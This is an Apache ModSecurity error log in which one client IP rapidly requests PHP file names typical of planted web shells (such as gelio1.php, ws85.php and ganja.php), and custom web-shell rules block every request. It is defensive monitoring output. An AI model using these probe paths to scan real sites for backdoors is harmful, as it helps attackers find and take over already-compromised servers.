[Thu May 07 00:31:55.032320 2026] [:error] [pid 9659:tid 9734] [client 20.104.207.18:27602] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "afts-_wJnWjd8JHpBtuspQAAAMA"]
[Thu May 07 00:31:55.450444 2026] [:error] [pid 557:tid 560] [client 20.104.207.18:27617] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "afts-zZjFR8Vd8ce80A7iwAAAkE"]
[Thu May 07 00:31:55.882150 2026] [:error] [pid 9664:tid 9783] [client 20.104.207.18:27586] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "afts-wH4OZbrg1SjsBNo3AAAAJU"]
[Thu May 07 00:31:56.308258 2026] [:error] [pid 9653:tid 9715] [client 20.104.207.18:27606] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "afts_KhJ49Xc4dqq0B5Y_gAAABE"]
[Thu May 07 00:31:56.745406 2026] [:error] [pid 13414:tid 13422] [client 20.104.207.18:27763] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "afts_EuJQpWjVpJTu_k1OwAAAQY"]
[Thu May 07 00:31:57.190623 2026] [:error] [pid 557:tid 575] [client 20.104.207.18:27709] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "afts_TZjFR8Vd8ce80A7kAAAAlA"]
[Thu May 07 00:31:57.651567 2026] [:error] [pid 557:tid 581] [client 20.104.207.18:27625] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "afts_TZjFR8Vd8ce80A7lAAAAlY"]
[Thu May 07 00:31:58.102426 2026] [:error] [pid 63810:tid 63815] [client 20.104.207.18:27593] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "afts_npnbsN9Zf6i5IFMYwAAAYE"]
[Thu May 07 00:31:58.556688 2026] [:error] [pid 13414:tid 13418] [client 20.104.207.18:27622] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "afts_kuJQpWjVpJTu_k1PgAAAQI"]
[Thu May 07 00:31:58.986591 2026] [:error] [pid 9664:tid 9785] [client 20.104.207.18:27595] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "afts_gH4OZbrg1SjsBNo4AAAAJc"]
[Thu May 07 00:31:59.427374 2026] [:error] [pid 592:tid 618] [client 20.104.207.18:27568] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "afts_5iX28mb6xLi2PzBbgAAApM"]
[Thu May 07 00:31:59.906218 2026] [:error] [pid 9659:tid 9757] [client 20.104.207.18:27529] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "afts__wJnWjd8JHpBtuspgAAANc"]
[Thu May 07 00:32:00.385772 2026] [:error] [pid 9664:tid 9780] [client 20.104.207.18:27680] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sky.php"] [unique_id "afttAAH4OZbrg1SjsBNo5QAAAJI"]
[Thu May 07 00:32:00.832841 2026] [:error] [pid 9664:tid 9764] [client 20.104.207.18:27540] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sky.php"] [unique_id "afttAAH4OZbrg1SjsBNo6gAAAII"]
[Thu May 07 00:32:01.249315 2026] [:error] [pid 9789:tid 9798] [client 20.104.207.18:27708] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sky.php"] [unique_id "afttAT_YStPJSCHPkUXDgQAAAEc"]
[Thu May 07 00:32:01.711463 2026] [:error] [pid 63810:tid 63838] [client 20.104.207.18:27564] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sky.php"] [unique_id "afttAXpnbsN9Zf6i5IFMZQAAAZg"]
[Thu May 07 00:32:02.197873 2026] [:error] [pid 9789:tid 9808] [client 20.104.207.18:27633] [client 20.104.207.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "afttAj_YStPJSCHPkUXDgwAAAFE"]
[Thu May 07 00:32:02.631809 2026] [:error] [pid 9789:tid 9810] [client 20.104.207.18:27699] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "afttAj_YStPJSCHPkUXDhQAAAFM"]
[Thu May 07 00:32:03.075124 2026] [:error] [pid 592:tid 603] [client 20.104.207.18:27710] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "afttA5iX28mb6xLi2PzBcQAAAoc"]
[Thu May 07 00:32:03.511390 2026] [:error] [pid 63810:tid 63827] [client 20.104.207.18:27555] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "afttA3pnbsN9Zf6i5IFMaQAAAY0"]
[Thu May 07 00:32:04.008998 2026] [:error] [pid 592:tid 600] [client 20.104.207.18:27581] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "afttBJiX28mb6xLi2PzBdgAAAoQ"]
[Thu May 07 00:32:04.430549 2026] [:error] [pid 63810:tid 63821] [client 20.104.207.18:27580] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "afttBHpnbsN9Zf6i5IFMbQAAAYc"]
[Thu May 07 00:32:04.895306 2026] [:error] [pid 9789:tid 9811] [client 20.104.207.18:27695] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "afttBD_YStPJSCHPkUXDigAAAFQ"]
[Thu May 07 00:32:05.379409 2026] [:error] [pid 9789:tid 9806] [client 20.104.207.18:27570] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "afttBT_YStPJSCHPkUXDjgAAAE8"]
[Thu May 07 00:32:05.805313 2026] [:error] [pid 482:tid 495] [client 20.104.207.18:27571] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "afttBcxs8HOc_nWgOW6IxgAAAcs"]
[Thu May 07 00:32:06.228309 2026] [:error] [pid 9789:tid 9809] [client 20.104.207.18:27531] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "afttBj_YStPJSCHPkUXDkQAAAFI"]
[Thu May 07 00:32:06.654076 2026] [:error] [pid 482:tid 510] [client 20.104.207.18:27610] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "afttBsxs8HOc_nWgOW6IygAAAdg"]
[Thu May 07 00:32:07.071693 2026] [:error] [pid 482:tid 484] [client 20.104.207.18:27632] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "afttB8xs8HOc_nWgOW6IzQAAAcA"]
[Thu May 07 00:32:07.490432 2026] [:error] [pid 482:tid 491] [client 20.104.207.18:27764] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "afttB8xs8HOc_nWgOW6IzwAAAcc"]
[Thu May 07 00:32:07.938907 2026] [:error] [pid 9789:tid 9798] [client 20.104.207.18:27653] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "afttBz_YStPJSCHPkUXDkgAAAEc"]
[Thu May 07 00:32:08.375435 2026] [:error] [pid 482:tid 497] [client 20.104.207.18:27626] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "afttCMxs8HOc_nWgOW6I0QAAAc0"]
[Thu May 07 00:32:08.804467 2026] [:error] [pid 9789:tid 9794] [client 20.104.207.18:27620] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "afttCD_YStPJSCHPkUXDkwAAAEM"]
[Thu May 07 00:32:09.228152 2026] [:error] [pid 9789:tid 9808] [client 20.104.207.18:27482] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "afttCT_YStPJSCHPkUXDlAAAAFE"]
[Thu May 07 00:32:09.678730 2026] [:error] [pid 557:tid 575] [client 20.104.207.18:27643] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "afttCTZjFR8Vd8ce80A7lwAAAlA"]
[Thu May 07 00:32:10.114270 2026] [:error] [pid 13443:tid 13452] [client 20.104.207.18:27599] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "afttCgCyfZallDmsQretLQAAAUc"]
[Thu May 07 00:32:10.557853 2026] [:error] [pid 482:tid 500] [client 20.104.207.18:27674] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "afttCsxs8HOc_nWgOW6I1gAAAdA"]
[Thu May 07 00:32:11.001823 2026] [:error] [pid 9659:tid 9756] [client 20.104.207.18:27733] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "afttC_wJnWjd8JHpBtusqQAAANY"]
[Thu May 07 00:32:11.510881 2026] [:error] [pid 482:tid 493] [client 20.104.207.18:27746] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "afttC8xs8HOc_nWgOW6I1wAAAck"]
[Thu May 07 00:32:11.980587 2026] [:error] [pid 9789:tid 9797] [client 20.104.207.18:27521] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "afttCz_YStPJSCHPkUXDnAAAAEY"]
[Thu May 07 00:32:12.414792 2026] [:error] [pid 482:tid 491] [client 20.104.207.18:27611] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "afttDMxs8HOc_nWgOW6I2QAAAcc"]
[Thu May 07 00:32:12.956633 2026] [:error] [pid 9789:tid 9792] [client 20.104.207.18:27594] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "afttDD_YStPJSCHPkUXDnQAAAEE"]
[Thu May 07 00:32:13.473885 2026] [:error] [pid 9789:tid 9804] [client 20.104.207.18:27706] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "afttDT_YStPJSCHPkUXDoAAAAE0"]
[Thu May 07 00:32:13.995533 2026] [:error] [pid 9659:tid 9741] [client 20.104.207.18:27558] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "afttDfwJnWjd8JHpBtusrAAAAMc"]
[Thu May 07 00:32:14.488211 2026] [:error] [pid 9789:tid 9808] [client 20.104.207.18:27596] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "afttDj_YStPJSCHPkUXDpAAAAFE"]
[Thu May 07 00:32:15.008817 2026] [:error] [pid 9653:tid 9711] [client 20.104.207.18:27525] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "afttD6hJ49Xc4dqq0B5ZBAAAAA0"]
[Thu May 07 00:32:15.614723 2026] [:error] [pid 13443:tid 13459] [client 20.104.207.18:27582] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "afttDwCyfZallDmsQretLwAAAU4"]
[Thu May 07 00:32:16.249595 2026] [:error] [pid 9659:tid 9745] [client 20.104.207.18:27548] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "afttEPwJnWjd8JHpBtusrQAAAMs"]
[Thu May 07 00:32:16.676075 2026] [:error] [pid 9659:tid 9749] [client 20.104.207.18:27704] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "afttEPwJnWjd8JHpBtusrgAAAM8"]
[Thu May 07 00:32:17.108212 2026] [:error] [pid 9789:tid 9811] [client 20.104.207.18:27500] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "afttET_YStPJSCHPkUXDpQAAAFQ"]
[Thu May 07 00:32:17.578441 2026] [:error] [pid 9653:tid 9715] [client 20.104.207.18:27402] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ganja.php"] [unique_id "afttEahJ49Xc4dqq0B5ZBwAAABE"]
[Thu May 07 00:32:18.025747 2026] [:error] [pid 9653:tid 9718] [client 20.104.207.18:27612] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ganja.php"] [unique_id "afttEqhJ49Xc4dqq0B5ZCQAAABQ"]
[Thu May 07 00:32:18.490451 2026] [:error] [pid 482:tid 488] [client 20.104.207.18:27586] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ganja.php"] [unique_id "afttEsxs8HOc_nWgOW6I6QAAAcQ"]
[Thu May 07 00:32:18.990591 2026] [:error] [pid 482:tid 503] [client 20.104.207.18:27520] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ganja.php"] [unique_id "afttEsxs8HOc_nWgOW6I7gAAAdM"]
[Thu May 07 00:32:19.510378 2026] [:error] [pid 9653:tid 9716] [client 20.104.207.18:27637] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pp.php"] [unique_id "afttE6hJ49Xc4dqq0B5ZDQAAABI"]
[Thu May 07 00:32:19.949148 2026] [:error] [pid 9659:tid 9752] [client 20.104.207.18:27458] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pp.php"] [unique_id "afttE_wJnWjd8JHpBtussQAAANI"]
[Thu May 07 00:32:20.395895 2026] [:error] [pid 9659:tid 9746] [client 20.104.207.18:27685] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pp.php"] [unique_id "afttFPwJnWjd8JHpBtussgAAAMw"]
[Thu May 07 00:32:20.858709 2026] [:error] [pid 9659:tid 9734] [client 20.104.207.18:27751] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pp.php"] [unique_id "afttFPwJnWjd8JHpBtustAAAAMA"]
